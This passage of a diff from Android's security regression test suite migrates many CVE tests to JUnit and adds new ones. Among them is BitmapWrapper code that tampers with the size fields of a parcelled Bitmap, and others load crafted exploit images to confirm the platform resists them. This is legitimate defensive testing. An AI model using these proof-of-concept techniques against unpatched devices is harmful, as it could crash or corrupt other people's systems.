+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertThrows;
+
+import java.lang.reflect.Field;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import android.content.AttributionSource;
+import android.content.Context;
+import android.platform.test.annotations.AsbSecurityTest;
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.runner.AndroidJUnit4;
+
+@RunWith(AndroidJUnit4.class)
+public class AttributionSourceTest {
+
+ @AsbSecurityTest(cveBugId = 200288596)
+ @Test
+ public void testPidCheck() throws Exception {
+ Context context = ApplicationProvider.getApplicationContext();
+ AttributionSource attributionSource =
+ new AttributionSource(
+ (AttributionSource)
+ Context.class.getMethod("getAttributionSource").invoke(context),
+ null);
+
+ Field attSourceStateField =
+ attributionSource.getClass().getDeclaredField("mAttributionSourceState");
+ attSourceStateField.setAccessible(true);
+
+ Object attSourceState = attSourceStateField.get(attributionSource);
+ attSourceState.getClass().getField("pid").setInt(attSourceState, 0);
+ final AttributionSource attributionSourceFinal = attributionSource;
+ assertThrows(SecurityException.class, () -> attributionSourceFinal.enforceCallingPid());
+ }
+}
+
diff --git a/tests/tests/security/src/android/security/cts/AudioSecurityTest.java b/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
index 1e1878deae3..e011b7fc4ca 100644
--- a/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
+++ b/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
@@ -23,14 +23,20 @@ import android.media.audiofx.Equalizer;
import android.platform.test.annotations.AsbSecurityTest;
import android.util.Log;
-import com.android.compatibility.common.util.CtsAndroidTestCase;
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import static org.junit.Assert.*;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.util.Arrays;
import java.util.UUID;
-public class AudioSecurityTest extends CtsAndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AudioSecurityTest extends StsExtraBusinessLogicTestCase {
private static final String TAG = "AudioSecurityTest";
private static final int ERROR_DEAD_OBJECT = -7; // AudioEffect.ERROR_DEAD_OBJECT
@@ -90,6 +96,7 @@ public class AudioSecurityTest extends CtsAndroidTestCase {
// b/28173666
@AsbSecurityTest(cveBugId = 28173666)
+ @Test
public void testAllEffectsGetParameterAttemptOffload_CVE_2016_3745() throws Exception {
testAllEffects("get parameter attempt offload",
new TestEffect() {
@@ -104,6 +111,7 @@ public class AudioSecurityTest extends CtsAndroidTestCase {
// b/32624850
// b/32635664
@AsbSecurityTest(cveBugId = 32438594)
+ @Test
public void testAllEffectsGetParameter2AttemptOffload_CVE_2017_0398() throws Exception {
testAllEffects("get parameter2 attempt offload",
new TestEffect() {
@@ -116,6 +124,7 @@ public class AudioSecurityTest extends CtsAndroidTestCase {
// b/30204301
@AsbSecurityTest(cveBugId = 30204301)
+ @Test
public void testAllEffectsSetParameterAttemptOffload_CVE_2016_3924() throws Exception {
testAllEffects("set parameter attempt offload",
new TestEffect() {
@@ -128,6 +137,7 @@ public class AudioSecurityTest extends CtsAndroidTestCase {
// b/37536407
@AsbSecurityTest(cveBugId = 32448258)
+ @Test
public void testAllEffectsEqualizer_CVE_2017_0401() throws Exception {
testAllEffects("equalizer get parameter name",
new TestEffect() {
@@ -355,6 +365,7 @@ public class AudioSecurityTest extends CtsAndroidTestCase {
// b/31781965
@AsbSecurityTest(cveBugId = 31781965)
+ @Test
public void testVisualizerCapture_CVE_2017_0396() throws Exception {
// Capture params
final int CAPTURE_SIZE = 1 << 24; // 16MB seems to be large enough to cause a SEGV.
diff --git a/tests/tests/security/src/android/security/cts/BigRleTest.java b/tests/tests/security/src/android/security/cts/BigRleTest.java
index 20ac03a90c5..f441c7808f3 100644
--- a/tests/tests/security/src/android/security/cts/BigRleTest.java
+++ b/tests/tests/security/src/android/security/cts/BigRleTest.java
@@ -18,14 +18,19 @@ package android.security.cts;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.InputStream;
import android.platform.test.annotations.AsbSecurityTest;
import android.security.cts.R;
-public class BigRleTest extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class BigRleTest extends StsExtraBusinessLogicTestCase {
/**
* Verifies that the device does not run OOM decoding a particular RLE encoded BMP.
*
@@ -33,8 +38,9 @@ public class BigRleTest extends AndroidTestCase {
* we attempted to allocate space for all the encoded data at once, resulting in OOM.
*/
@AsbSecurityTest(cveBugId = 33251605)
+ @Test
public void test_android_bug_33251605() {
- InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_33251605);
+ InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(R.raw.bug_33251605);
Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
}
}
diff --git a/tests/tests/security/src/android/security/cts/BinderExploitTest.java b/tests/tests/security/src/android/security/cts/BinderExploitTest.java
index 7516e5b6712..aa7a3607ed0 100644
--- a/tests/tests/security/src/android/security/cts/BinderExploitTest.java
+++ b/tests/tests/security/src/android/security/cts/BinderExploitTest.java
@@ -40,8 +40,8 @@ import java.io.InputStream;
import java.io.InputStreamReader;
import static org.junit.Assert.assertTrue;
-import android.test.AndroidTestCase;
import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import android.platform.test.annotations.AsbSecurityTest;
import java.util.ArrayList;
@@ -53,9 +53,14 @@ import android.os.IBinder;
import android.system.ErrnoException;
import android.widget.TextView;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
import java.io.File;
import java.util.List;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
class Exchange extends IBinderExchange.Stub {
IBinder binder;
BinderExploitTest.CVE_2019_2213_Activity xpl;
@@ -97,7 +102,8 @@ class ExploitThread extends Thread {
public native void runxpl(String pipedir);
}
-public class BinderExploitTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class BinderExploitTest extends StsExtraBusinessLogicTestCase {
static final String TAG = BinderExploitTest.class.getSimpleName();
private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
@@ -115,6 +121,7 @@ public class BinderExploitTest extends AndroidTestCase {
* b/141496757
*/
@AsbSecurityTest(cveBugId = 133758011)
+ @Test
public void testPoc_cve_2019_2213() throws Exception {
Log.i(TAG, String.format("%s", "testPoc_cve_2019_2213 start..."));
diff --git a/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java b/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
index 444b110b629..9b9ea1f98c5 100644
--- a/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
+++ b/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
@@ -18,14 +18,18 @@ package android.security.cts;
import android.graphics.BitmapFactory;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
-
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+import static org.junit.Assert.*;
import android.security.cts.R;
import java.io.BufferedInputStream;
import java.io.InputStream;
-public class BitmapFactoryDecodeStreamTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class BitmapFactoryDecodeStreamTest extends StsExtraBusinessLogicTestCase {
/*
* This test case reproduces the bug in CVE-2015-1532.
* It verifies that the BitmapFactory:decodeStream method is not vulnerable
@@ -33,23 +37,26 @@ public class BitmapFactoryDecodeStreamTest extends AndroidTestCase {
* npTc chunk.
*/
@AsbSecurityTest(cveBugId = 19151999)
+ @Test
public void testNinePatchHeapOverflow() throws Exception {
- InputStream inStream = new BufferedInputStream(mContext.getResources().openRawResource(
+ InputStream inStream = new BufferedInputStream(getInstrumentation().getContext().getResources().openRawResource(
R.raw.cve_2015_1532));
BitmapFactory.decodeStream(inStream);
}
@AsbSecurityTest(cveBugId = 36724453)
+ @Test
public void testPocCVE_2017_0691() throws Exception {
- InputStream exploitImage = new BufferedInputStream(mContext.getResources().openRawResource(
+ InputStream exploitImage = new BufferedInputStream(getInstrumentation().getContext().getResources().openRawResource(
R.raw.cve_2017_0691));
BitmapFactory.decodeStream(exploitImage);
}
@AsbSecurityTest(cveBugId = 65290323)
+ @Test
public void test_b65290323() throws Exception {
- InputStream exploitImage = new BufferedInputStream(mContext.getResources().openRawResource(
+ InputStream exploitImage = new BufferedInputStream(getInstrumentation().getContext().getResources().openRawResource(
R.raw.b65290323));
BitmapFactory.decodeStream(exploitImage);
}
diff --git a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
index b1de686459b..c77b7dd2f60 100644
--- a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
+++ b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
@@ -16,10 +16,15 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
+import android.content.Context;
import android.graphics.BitmapFactory;
import android.os.ParcelFileDescriptor;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.File;
import java.io.FileDescriptor;
@@ -27,13 +32,16 @@ import java.io.FileOutputStream;
import java.io.InputStream;
import java.lang.Exception;
+import org.junit.runner.RunWith;
+import org.junit.Test;
import android.security.cts.R;
-public class BitmapFactorySecurityTests extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class BitmapFactorySecurityTests extends StsExtraBusinessLogicTestCase {
private FileDescriptor getResource(int resId) {
try {
- InputStream is = mContext.getResources().openRawResource(resId);
+ InputStream is = getInstrumentation().getContext().getResources().openRawResource(resId);
assertNotNull(is);
File file = File.createTempFile("BitmapFactorySecurityFile" + resId, "img");
file.deleteOnExit();
@@ -58,6 +66,7 @@ public class BitmapFactorySecurityTests extends AndroidTestCase {
* Verifies that decoding a corrupt ICO does crash.
*/
@AsbSecurityTest(cveBugId = 38116746)
+ @Test
public void test_android_bug_38116746() {
FileDescriptor exploitImage = getResource(R.raw.bug_38116746);
try {
@@ -74,6 +83,7 @@ public class BitmapFactorySecurityTests extends AndroidTestCase {
* Verifies that decoding a corrupt BMP does crash.
*/
@AsbSecurityTest(cveBugId = 37627194)
+ @Test
public void test_android_bug_37627194() {
FileDescriptor exploitImage = getResource(R.raw.bug_37627194);
try {
@@ -84,6 +94,7 @@ public class BitmapFactorySecurityTests extends AndroidTestCase {
}
@AsbSecurityTest(cveBugId = 156261521)
+ @Test
public void test_android_bug_156261521() {
// Previously decoding this would crash.
FileDescriptor exploitImage = getResource(R.raw.bug_156261521);
diff --git a/tests/tests/security/src/android/security/cts/BitmapService.java b/tests/tests/security/src/android/security/cts/BitmapService.java
new file mode 100644
index 00000000000..c532e05e906
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/BitmapService.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+import androidx.annotation.Nullable;
+
+public class BitmapService extends Service {
+
+ private final IBitmapService.Stub mBinder = new IBitmapService.Stub() {
+ @Override
+ public int getAllocationSize(BitmapWrapper wrapper) {
+ return wrapper.getBitmap().getAllocationByteCount();
+ }
+
+ @Override
+ public boolean didReceiveBitmap(BitmapWrapper wrapper) {
+ return true;
+ }
+
+
+ @Override
+ public boolean ping() {
+ return true;
+ }
+ };
+
+ @Nullable
+ @Override
+ public IBinder onBind(Intent intent) {
+ return mBinder;
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/BitmapTest.java b/tests/tests/security/src/android/security/cts/BitmapTest.java
index 40cb1398e97..5ce81fd9d95 100644
--- a/tests/tests/security/src/android/security/cts/BitmapTest.java
+++ b/tests/tests/security/src/android/security/cts/BitmapTest.java
@@ -16,16 +16,89 @@
package android.security.cts;
+import android.app.Instrumentation;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
import android.graphics.Bitmap;
+import android.os.BadParcelableException;
+import android.os.IBinder;
import android.platform.test.annotations.AsbSecurityTest;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.google.common.util.concurrent.AbstractFuture;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
@RunWith(AndroidJUnit4.class)
-public class BitmapTest {
+public class BitmapTest extends StsExtraBusinessLogicTestCase {
+
+ private Instrumentation mInstrumentation;
+ private PeerConnection mRemoteConnection;
+ private IBitmapService mRemote;
+
+ public static class PeerConnection extends AbstractFuture<IBitmapService>
+ implements ServiceConnection {
+ @Override
+ public void onServiceConnected(ComponentName name, IBinder service) {
+ set(IBitmapService.Stub.asInterface(service));
+ }
+
+ @Override
+ public void onServiceDisconnected(ComponentName name) {
+ }
+
+ @Override
+ public IBitmapService get() throws InterruptedException, ExecutionException {
+ try {
+ return get(5, TimeUnit.SECONDS);
+ } catch (TimeoutException e) {
+ throw new RuntimeException(e);
+ }
+ }
+ }
+
+ @Before
+ public void setUp() throws Exception {
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
+ }
+
+ @After
+ public void tearDown() {
+ if (mRemoteConnection != null) {
+ final Context context = mInstrumentation.getContext();
+ context.unbindService(mRemoteConnection);
+ mRemote = null;
+ mRemoteConnection = null;
+ }
+ }
+
+ IBitmapService getRemoteService() throws ExecutionException, InterruptedException {
+ if (mRemote == null) {
+ final Context context = mInstrumentation.getContext();
+ Intent intent = new Intent();
+ intent.setComponent(new ComponentName(
+ "android.security.cts", "android.security.cts.BitmapService"));
+ mRemoteConnection = new PeerConnection();
+ context.bindService(intent, mRemoteConnection,
+ Context.BIND_AUTO_CREATE | Context.BIND_IMPORTANT);
+ mRemote = mRemoteConnection.get();
+ }
+ return mRemote;
+ }
+
/**
* Test Bitmap.createBitmap properly throws OOME on large inputs.
*
@@ -39,4 +112,102 @@ public class BitmapTest {
// which might be passed to createBitmap from a Java decoder.
Bitmap.createBitmap(65535, 65535, Bitmap.Config.ARGB_8888);
}
+
+ @Test
+ @AsbSecurityTest(cveBugId = 213169612)
+ public void test_inplace_213169612() throws Exception {
+ IBitmapService remote = getRemoteService();
+ Assert.assertTrue("Binder should be alive", remote.ping());
+ BitmapWrapper wrapper = new BitmapWrapper(
+ Bitmap.createBitmap(2, 4, Bitmap.Config.ARGB_8888));
+ final int expectedAllocationSize = wrapper.getBitmap().getAllocationByteCount();
+ int allocationSize = remote.getAllocationSize(wrapper);
+ Assert.assertEquals(expectedAllocationSize, allocationSize);
+ Assert.assertTrue("Binder should be alive", remote.ping());
+
+ // Override the bitmap size to 500KiB; larger than the actual size
+ wrapper.reset()
+ .replace(BitmapWrapper.Field.DataSize, 500 * 1024);
+ allocationSize = remote.getAllocationSize(wrapper);
+ Assert.assertEquals(expectedAllocationSize, allocationSize);
+ Assert.assertTrue("Binder should be alive", remote.ping());
+
+ // Override the bitmap size to 2 bytes; smaller than the actual size
+ wrapper.reset()
+ .replace(BitmapWrapper.Field.DataSize, 2);
+ try {
+ Assert.assertFalse("Should have failed to unparcel",
+ remote.didReceiveBitmap(wrapper));
+ } catch (BadParcelableException ex) {
+ // We'll also accept a BadParcelableException
+ }
+ Assert.assertTrue("Binder should be alive", remote.ping());
+
+ // Keep the blob size accurate, but change computed allocation size to be too large
+ wrapper.reset()
+ .replace(BitmapWrapper.Field.Height, 10_000)
+ .replace(BitmapWrapper.Field.RowBytes, 50_000);
+ try {
+ Assert.assertFalse("Should have failed to unparcel",
+ remote.didReceiveBitmap(wrapper));
+ } catch (BadParcelableException ex) {
+ // We'll also accept a BadParcelableException
+ }
+ Assert.assertTrue("Binder should be alive", remote.ping());
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 213169612)
+ public void test_ashmem_213169612() throws Exception {
+ IBitmapService remote = getRemoteService();
+ Assert.assertTrue("Binder should be alive", remote.ping());
+ BitmapWrapper wrapper = new BitmapWrapper(
+ Bitmap.createBitmap(1000, 1000, Bitmap.Config.ARGB_8888)
+ .createAshmemBitmap());
+ final int expectedAllocationSize = wrapper.getBitmap().getAllocationByteCount();
+ int allocationSize = remote.getAllocationSize(wrapper);
+ Assert.assertEquals(expectedAllocationSize, allocationSize);
+ Assert.assertTrue("Binder should be alive", remote.ping());
+
+ // Override the bitmap size to be larger than the initial size
+ wrapper.reset()
+ .replace(BitmapWrapper.Field.DataSize, expectedAllocationSize * 2);
+ try {
+ Assert.assertFalse("Should have failed to unparcel",
+ remote.didReceiveBitmap(wrapper));
+ } catch (BadParcelableException ex) {
+ // We'll also accept a BadParcelableException
+ }
+ Assert.assertTrue("Binder should be alive", remote.ping());
+
+ // Override the bitmap size to 2 bytes; smaller than the actual size
+ wrapper.reset()
+ .replace(BitmapWrapper.Field.DataSize, 2);
+ try {
+ Assert.assertFalse("Should have failed to unparcel",
+ remote.didReceiveBitmap(wrapper));
+ } catch (BadParcelableException ex) {
+ // We'll also accept a BadParcelableException
+ }
+ Assert.assertTrue("Binder should be alive", remote.ping());
+
+ // Keep the ashmem size accurate, but change computed allocation size to be too large
+ wrapper.reset()
+ .replace(BitmapWrapper.Field.Height, 10_000)
+ .replace(BitmapWrapper.Field.RowBytes, 50_000);
+ try {
+ Assert.assertFalse("Should have failed to unparcel",
+ remote.didReceiveBitmap(wrapper));
+ } catch (BadParcelableException ex) {
+ // We'll also accept a BadParcelableException
+ }
+ Assert.assertTrue("Binder should be alive", remote.ping());
+
+ // Keep the ashmem size accurate, but change computed allocation size to be smaller
+ wrapper.reset()
+ .replace(BitmapWrapper.Field.Height, 100);
+ allocationSize = remote.getAllocationSize(wrapper);
+ Assert.assertEquals(expectedAllocationSize, allocationSize);
+ Assert.assertTrue("Binder should be alive", remote.ping());
+ }
}
diff --git a/tests/tests/security/src/android/security/cts/BitmapWrapper.java b/tests/tests/security/src/android/security/cts/BitmapWrapper.java
new file mode 100644
index 00000000000..dbcf4989354
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/BitmapWrapper.java
@@ -0,0 +1,125 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.graphics.Bitmap;
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.util.ArrayMap;
+
+import androidx.annotation.NonNull;
+
+import org.junit.Assert;
+
+public class BitmapWrapper implements Parcelable {
+ enum Field {
+ DataSize,
+ Height,
+ RowBytes,
+ }
+
+ private final Bitmap mBitmap;
+ private final ArrayMap<Field, Integer> mReplaceFields = new ArrayMap<>();
+
+ public BitmapWrapper(Bitmap bitmap) {
+ mBitmap = bitmap;
+ }
+
+ private BitmapWrapper(Parcel in) {
+ mBitmap = Bitmap.CREATOR.createFromParcel(in);
+ }
+
+ public Bitmap getBitmap() {
+ return mBitmap;
+ }
+
+ public BitmapWrapper reset() {
+ mReplaceFields.clear();
+ return this;
+ }
+
+ public BitmapWrapper replace(Field field, int newValue) {
+ mReplaceFields.put(field, newValue);
+ return this;
+ }
+
+ @Override
+ public int describeContents() {
+ return mBitmap.describeContents();
+ }
+
+ @Override
+ public void writeToParcel(@NonNull Parcel dest, int flags) {
+ final int before = dest.dataPosition();
+ mBitmap.writeToParcel(dest, flags);
+ final int oldEnd = dest.dataPosition();
+ if (!mReplaceFields.isEmpty()) {
+ dest.setDataPosition(before
+ + 4 /* immutable */
+ + 4 /* colortype */
+ + 4 /* alpha type */);
+ // Skip sizeof colorspace
+ int colorSpaceLen = dest.readInt();
+ dest.setDataPosition(dest.dataPosition() + colorSpaceLen);
+ Assert.assertEquals(mBitmap.getWidth(), dest.readInt());
+ Assert.assertEquals(mBitmap.getHeight(), dest.readInt());
+ if (mReplaceFields.containsKey(Field.Height)) {
+ dest.setDataPosition(dest.dataPosition() - 4);
+ dest.writeInt(mReplaceFields.get(Field.Height));
+ }
+ Assert.assertEquals(mBitmap.getRowBytes(), dest.readInt());
+ if (mReplaceFields.containsKey(Field.RowBytes)) {
+ dest.setDataPosition(dest.dataPosition() - 4);
+ dest.writeInt(mReplaceFields.get(Field.RowBytes));
+ }
+ Assert.assertEquals(mBitmap.getDensity(), dest.readInt());
+ int type = dest.readInt();
+ if (type == 0) { // in-place
+ if (mReplaceFields.containsKey(Field.DataSize)) {
+ int dataSize = mReplaceFields.get(Field.DataSize);
+ dest.writeInt(dataSize);
+ int newEnd = dest.dataPosition() + dataSize;
+ dest.setDataSize(newEnd);
+ dest.setDataPosition(newEnd);
+ } else {
+ int skip = dest.readInt();
+ dest.setDataPosition(dest.dataPosition() + skip);
+ }
+ } else if (type == 1) { // ashmem
+ if (mReplaceFields.containsKey(Field.DataSize)) {
+ int dataSize = mReplaceFields.get(Field.DataSize);
+ dest.writeInt(dataSize);
+ }
+ dest.setDataPosition(oldEnd);
+ } else {
+ Assert.fail("Unknown type " + type);
+ }
+ }
+ }
+
+ public static final Parcelable.Creator<BitmapWrapper> CREATOR =
+ new Parcelable.Creator<BitmapWrapper>() {
+ public BitmapWrapper createFromParcel(Parcel in) {
+ return new BitmapWrapper(in);
+ }
+
+ public BitmapWrapper[] newArray(int size) {
+ return new BitmapWrapper[size];
+ }
+ };
+
+}
diff --git a/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
index 48107032a21..a15ab42133f 100644
--- a/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
+++ b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
@@ -20,13 +20,18 @@ import org.junit.Test;
import android.content.ComponentName;
import android.content.Intent;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
-public class BluetoothIntentsTest extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class BluetoothIntentsTest extends StsExtraBusinessLogicTestCase {
/**
* b/35258579
*/
@AsbSecurityTest(cveBugId = 35258579)
+ @Test
public void testAcceptIntent() {
genericIntentTest("ACCEPT");
}
@@ -35,6 +40,7 @@ public class BluetoothIntentsTest extends AndroidTestCase {
* b/35258579
*/
@AsbSecurityTest(cveBugId = 35258579)
+ @Test
public void testDeclineIntent() {
genericIntentTest("DECLINE");
}
@@ -47,7 +53,7 @@ public class BluetoothIntentsTest extends AndroidTestCase {
new ComponentName("com.android.bluetooth",
"com.android.bluetooth.opp.BluetoothOppReceiver"));
should_be_protected_broadcast.setAction(prefix + action);
- mContext.sendBroadcast(should_be_protected_broadcast);
+ getInstrumentation().getContext().sendBroadcast(should_be_protected_broadcast);
}
catch (SecurityException e) {
return;
diff --git a/tests/tests/security/src/android/security/cts/CVE_2020_0294.java b/tests/tests/security/src/android/security/cts/CVE_2020_0294.java
index 6625c9ebafc..f85ec3fdbb4 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2020_0294.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2020_0294.java
@@ -28,6 +28,8 @@ import android.platform.test.annotations.AsbSecurityTest;
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -35,7 +37,7 @@ import static org.junit.Assert.*;
import static org.junit.Assume.*;
@RunWith(AndroidJUnit4.class)
-public class CVE_2020_0294 {
+public class CVE_2020_0294 extends StsExtraBusinessLogicTestCase {
private static final String TAG = "CVE_2020_0294";
/**
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0309.java b/tests/tests/security/src/android/security/cts/CVE_2021_0309.java
index deb7c409152..14cb7cea700 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0309.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0309.java
@@ -31,11 +31,13 @@ import android.platform.test.annotations.AsbSecurityTest;
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(AndroidJUnit4.class)
-public class CVE_2021_0309 {
+public class CVE_2021_0309 extends StsExtraBusinessLogicTestCase {
private final Context mContext = InstrumentationRegistry.getContext();
boolean isVulnerable = true;
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java b/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java
index 13076ba9567..44bbc01fdce 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0327/CVE_2021_0327.java
@@ -24,13 +24,14 @@ import android.test.AndroidTestCase;
import android.util.Log;
import androidx.test.runner.AndroidJUnit4;
import androidx.test.InstrumentationRegistry;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import org.junit.Test;
import org.junit.runner.RunWith;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
@RunWith(AndroidJUnit4.class)
-public class CVE_2021_0327 {
+public class CVE_2021_0327 extends StsExtraBusinessLogicTestCase {
private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
private static final String TAG = "CVE_2021_0327";
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0339.java b/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
index 5335a4234fa..98b8de8d637 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
@@ -31,6 +31,9 @@ import android.test.AndroidTestCase;
import android.util.Log;
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -38,7 +41,7 @@ import java.util.concurrent.CompletableFuture;
import java.util.concurrent.TimeUnit;
@RunWith(AndroidJUnit4.class)
-public class CVE_2021_0339 {
+public class CVE_2021_0339 extends StsExtraBusinessLogicTestCase {
static final String TAG = CVE_2021_0339.class.getSimpleName();
private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0341.java b/tests/tests/security/src/android/security/cts/CVE_2021_0341.java
new file mode 100644
index 00000000000..130dce5435b
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0341.java
@@ -0,0 +1,221 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeNotNull;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.ByteArrayInputStream;
+import java.io.InputStream;
+import java.security.Principal;
+import java.security.cert.Certificate;
+import java.security.cert.CertificateEncodingException;
+import java.security.cert.CertificateFactory;
+import java.util.Enumeration;
+import java.util.Hashtable;
+import java.util.Vector;
+
+import javax.net.ssl.HostnameVerifier;
+import javax.net.ssl.HttpsURLConnection;
+import javax.net.ssl.SSLPeerUnverifiedException;
+import javax.net.ssl.SSLSession;
+import javax.net.ssl.SSLSessionBindingEvent;
+import javax.net.ssl.SSLSessionBindingListener;
+import javax.net.ssl.SSLSessionContext;
+import javax.security.cert.CertificateException;
+
+// Taken reference from
+// libcore/support/src/test/java/org/apache/harmony/xnet/tests/support/mySSLSession.java
+class CVE_2021_0341_SSLSession implements SSLSession {
+
+ private byte[] idData;
+ private String nameHost = null;
+ private int namePort = -1;
+ private Hashtable table;
+ private boolean invalidateDone = false;
